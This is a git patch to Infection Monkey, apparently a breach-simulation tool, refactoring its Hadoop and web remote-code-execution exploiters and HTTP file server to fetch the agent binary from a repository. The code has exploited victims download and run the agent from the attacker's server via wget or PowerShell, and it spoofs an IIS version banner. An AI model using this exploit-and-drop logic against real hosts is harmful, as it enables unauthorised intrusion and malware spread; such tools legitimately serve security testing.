From 1b1b68f6a63b0c76e7db9ffa65aa6f171f38da8b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 20:08:39 -0500 Subject: [PATCH] Use IAgentRepository in Hadoop/WebRCE exploiter --- monkey/infection_monkey/exploit/hadoop.py | 15 ++++++--- .../exploit/tools/http_tools.py | 11 ++++--- monkey/infection_monkey/exploit/web_rce.py | 15 +++++---- monkey/infection_monkey/transport/http.py | 33 ++++++++++++------- 4 files changed, 47 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 5a3c29b65..69e5c601b 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return self.exploit_result - paths = self.get_monkey_paths() - if not paths: - return self.exploit_result - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) try: - command = self._build_command(paths["dest_path"], http_path) + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + except KeyError: + return self.exploit_result + + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) + + try: + command = self._build_command(dropper_target_path, http_path) if self.exploit(self.vulnerable_urls[0], command): self.add_executed_cmd(command) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index cb33fbd71..467539180 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -28,7 +28,9 @@ class HTTPTools(object): return http_path, http_thread @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + def create_locked_transfer( + host, dropper_target_path, agent_repository, local_ip=None, local_port=None + ): """ Create http server for file transfer with a lock :param host: Variable with target's information @@ -50,12 +52,13 @@ class HTTPTools(object): logger.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd = LockedHTTPServer( + local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock + ) httpd.start() lock.acquire() return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 7bc02a694..4473a24f5 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -292,11 +292,12 @@ class WebRCE(HostExploiter): if not self.host.os["type"]: logger.error("Unknown target's os type. Skipping.") return False - paths = self.get_monkey_paths() - if not paths: - return False + + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) if not http_path: logger.debug("Exploiter failed, http transfer creation failed.") return False @@ -304,10 +305,10 @@ class WebRCE(HostExploiter): # Choose command: if not commands: commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.get_command(dropper_target_path, http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) + resp = self.run_backup_commands(resp, url, dropper_target_path, http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -316,7 +317,7 @@ class WebRCE(HostExploiter): if resp is False: return resp else: - return {"response": resp, "path": paths["dest_path"]} + return {"response": resp, "path": dropper_target_path} def change_permissions(self, url, path, command=None): """ diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index a2f668036..5afb5c2d8 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -1,5 +1,4 @@ import http.server -import os.path import select import socket import threading @@ -7,7 +6,6 @@ import urllib from logging import getLogger from urllib.parse import urlsplit -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time @@ -16,7 +14,8 @@ logger = getLogger(__name__) class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" - filename = "" + victim_os = "" + agent_repository = None def version_string(self): return "Microsoft-IIS/7.5." @@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): total += chunk start_range += chunk - if f.tell() == monkeyfs.getsize(self.filename): + if f.tell() == len(f.getbuffer()): if self.report_download(self.client_address): self.close_connection = 1 @@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != "/" + urllib.parse.quote(self.victim_os): self.send_error(500, "") return None, 0, 0 try: - f = monkeyfs.open(self.filename, "rb") + f = self.agent_repository.get_agent_binary(self.victim_os) except IOError: self.send_error(404, "File not found") return None, 0, 0 - size = monkeyfs.getsize(self.filename) + size = len(f.getbuffer()) start_range = 0 end_range = size @@ -169,10 +168,21 @@ class LockedHTTPServer(threading.Thread): # Seconds to wait until server stops STOP_TIMEOUT = 5 - def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + def __init__( + self, + local_ip, + local_port, + victim_os, + dropper_target_path, + agent_repository, + lock, + max_downloads=1, + ): self._local_ip = local_ip self._local_port = local_port - self._filename = filename + self._victim_os = victim_os + self._dropper_target_path = dropper_target_path + self._agent_repository = agent_repository self.max_downloads = max_downloads self.downloads = 0 self._stopped = False @@ -185,7 +195,8 @@ class LockedHTTPServer(threading.Thread): from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - filename = self._filename + victim_os = self._victim_os + agent_repository = self._agent_repository @staticmethod def report_download(dest=None): @@ -194,7 +205,7 @@ class LockedHTTPServer(threading.Thread): TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), dest[0], - self._filename, + self._dropper_target_path, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: